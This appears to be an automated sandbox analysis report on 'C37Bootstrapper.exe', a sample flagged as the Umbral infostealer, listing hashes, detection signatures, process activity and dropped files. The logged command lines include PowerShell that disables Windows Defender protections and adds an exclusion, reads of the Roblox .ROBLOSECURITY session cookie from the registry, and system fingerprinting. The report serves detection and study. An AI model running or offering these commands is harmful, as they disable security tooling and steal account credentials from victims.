Resubmissions
Analysis
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max time kernel
93s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
05-06-2024 16:50
Behavioral task
behavioral1
Sample
C37Bootstrapper.exe
Resource
win7-20240508-en
General
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Target
C37Bootstrapper.exe
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Size
407KB
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MD5
2a25b9d935c4fe0a9f85251ecabfd923
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SHA1
bebbdce90e0ba9eb1cf388f0db17dbb97775e9e2
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SHA256
b5015182ecaa7561f27090fb7b2aab0decbbffc94606225b12676dc720266498
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SHA512
08f31d8e8867fcdadb209d28ad3f654b694fe5ec19a289871d758ab75d7759f08c4b8f01c789be22c2e83dafa8ec9e861479003e1e091038074471c701bf9dbf
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SSDEEP
6144:oloZMLrIkd8g+EtXHkv/iD4I7lXrRiK1AwBzOurZpjb8e1mVi4qkRH:2oZ0L+EP8I7lXrRiK1AwBzOurzr4J
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral2/memory/2580-0-0x000001A89BA30000-0x000001A89BA9C000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2664 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts C37Bootstrapper.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 22 discord.com 23 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4156 wmic.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 2580 C37Bootstrapper.exe 2664 powershell.exe 2664 powershell.exe 1664 powershell.exe 1664 powershell.exe 1560 powershell.exe 1560 powershell.exe 1572 powershell.exe 1572 powershell.exe 1912 powershell.exe 1912 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2580 C37Bootstrapper.exe Token: SeIncreaseQuotaPrivilege 1044 wmic.exe Token: SeSecurityPrivilege 1044 wmic.exe Token: SeTakeOwnershipPrivilege 1044 wmic.exe Token: SeLoadDriverPrivilege 1044 wmic.exe Token: SeSystemProfilePrivilege 1044 wmic.exe Token: SeSystemtimePrivilege 1044 wmic.exe Token: SeProfSingleProcessPrivilege 1044 wmic.exe Token: SeIncBasePriorityPrivilege 1044 wmic.exe Token: SeCreatePagefilePrivilege 1044 wmic.exe Token: SeBackupPrivilege 1044 wmic.exe Token: SeRestorePrivilege 1044 wmic.exe Token: SeShutdownPrivilege 1044 wmic.exe Token: SeDebugPrivilege 1044 wmic.exe Token: SeSystemEnvironmentPrivilege 1044 wmic.exe Token: SeRemoteShutdownPrivilege 1044 wmic.exe Token: SeUndockPrivilege 1044 wmic.exe Token: SeManageVolumePrivilege 1044 wmic.exe Token: 33 1044 wmic.exe Token: 34 1044 wmic.exe Token: 35 1044 wmic.exe Token: 36 1044 wmic.exe Token: SeIncreaseQuotaPrivilege 1044 wmic.exe Token: SeSecurityPrivilege 1044 wmic.exe Token: SeTakeOwnershipPrivilege 1044 wmic.exe Token: SeLoadDriverPrivilege 1044 wmic.exe Token: SeSystemProfilePrivilege 1044 wmic.exe Token: SeSystemtimePrivilege 1044 wmic.exe Token: SeProfSingleProcessPrivilege 1044 wmic.exe Token: SeIncBasePriorityPrivilege 1044 wmic.exe Token: SeCreatePagefilePrivilege 1044 wmic.exe Token: SeBackupPrivilege 1044 wmic.exe Token: SeRestorePrivilege 1044 wmic.exe Token: SeShutdownPrivilege 1044 wmic.exe Token: SeDebugPrivilege 1044 wmic.exe Token: SeSystemEnvironmentPrivilege 1044 wmic.exe Token: SeRemoteShutdownPrivilege 1044 wmic.exe Token: SeUndockPrivilege 1044 wmic.exe Token: SeManageVolumePrivilege 1044 wmic.exe Token: 33 1044 wmic.exe Token: 34 1044 wmic.exe Token: 35 1044 wmic.exe Token: 36 1044 wmic.exe Token: SeDebugPrivilege 2664 powershell.exe Token: SeDebugPrivilege 1664 powershell.exe Token: SeDebugPrivilege 1560 powershell.exe Token: SeDebugPrivilege 1572 powershell.exe Token: SeIncreaseQuotaPrivilege 1668 wmic.exe Token: SeSecurityPrivilege 1668 wmic.exe Token: SeTakeOwnershipPrivilege 1668 wmic.exe Token: SeLoadDriverPrivilege 1668 wmic.exe Token: SeSystemProfilePrivilege 1668 wmic.exe Token: SeSystemtimePrivilege 1668 wmic.exe Token: SeProfSingleProcessPrivilege 1668 wmic.exe Token: SeIncBasePriorityPrivilege 1668 wmic.exe Token: SeCreatePagefilePrivilege 1668 wmic.exe Token: SeBackupPrivilege 1668 wmic.exe Token: SeRestorePrivilege 1668 wmic.exe Token: SeShutdownPrivilege 1668 wmic.exe Token: SeDebugPrivilege 1668 wmic.exe Token: SeSystemEnvironmentPrivilege 1668 wmic.exe Token: SeRemoteShutdownPrivilege 1668 wmic.exe Token: SeUndockPrivilege 1668 wmic.exe Token: SeManageVolumePrivilege 1668 wmic.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2580 wrote to memory of 1044 2580 C37Bootstrapper.exe 86 PID 2580 wrote to memory of 1044 2580 C37Bootstrapper.exe 86 PID 2580 wrote to memory of 2664 2580 C37Bootstrapper.exe 89 PID 2580 wrote to memory of 2664 2580 C37Bootstrapper.exe 89 PID 2580 wrote to memory of 1664 2580 C37Bootstrapper.exe 91 PID 2580 wrote to memory of 1664 2580 C37Bootstrapper.exe 91 PID 2580 wrote to memory of 1560 2580 C37Bootstrapper.exe 93 PID 2580 wrote to memory of 1560 2580 C37Bootstrapper.exe 93 PID 2580 wrote to memory of 1572 2580 C37Bootstrapper.exe 95 PID 2580 wrote to memory of 1572 2580 C37Bootstrapper.exe 95 PID 2580 wrote to memory of 1668 2580 C37Bootstrapper.exe 97 PID 2580 wrote to memory of 1668 2580 C37Bootstrapper.exe 97 PID 2580 wrote to memory of 4584 2580 C37Bootstrapper.exe 99 PID 2580 wrote to memory of 4584 2580 C37Bootstrapper.exe 99 PID 2580 wrote to memory of 4680 2580 C37Bootstrapper.exe 101 PID 2580 wrote to memory of 4680 2580 C37Bootstrapper.exe 101 PID 2580 wrote to memory of 1912 2580 C37Bootstrapper.exe 103 PID 2580 wrote to memory of 1912 2580 C37Bootstrapper.exe 103 PID 2580 wrote to memory of 4156 2580 C37Bootstrapper.exe 105 PID 2580 wrote to memory of 4156 2580 C37Bootstrapper.exe 105
Processes
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C:\Users\Admin\AppData\Local\Temp\C37Bootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\C37Bootstrapper.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2580 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C37Bootstrapper.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2664
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1664
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1560
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1572
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1668
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:4584
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:4680
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1912
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:4156
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
948B
MD5c65738617888921a153bd9b1ef516ee7
SHA15245e71ea3c181d76320c857b639272ac9e079b1
SHA2564640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26
SHA5122e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa
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Filesize
1KB
MD5276798eeb29a49dc6e199768bc9c2e71
SHA15fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA5120d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
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Filesize
1KB
MD523272afe282560b0a5abad03e415e79b
SHA1d24997643237343f0db0d9ab70e445450c70c795
SHA256b3e29a57ee8c2da3dd7df14e6fd34632246e41950f3efd9ce9d35f1797ece1c9
SHA512bc013bbd6083ef858570cdcdc89f761177f298cc394a0acfc553b2decc61e056459a539037ed67af13c2c4851e20d8df92a1c23d3d0b818a2e585506f28053c4
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82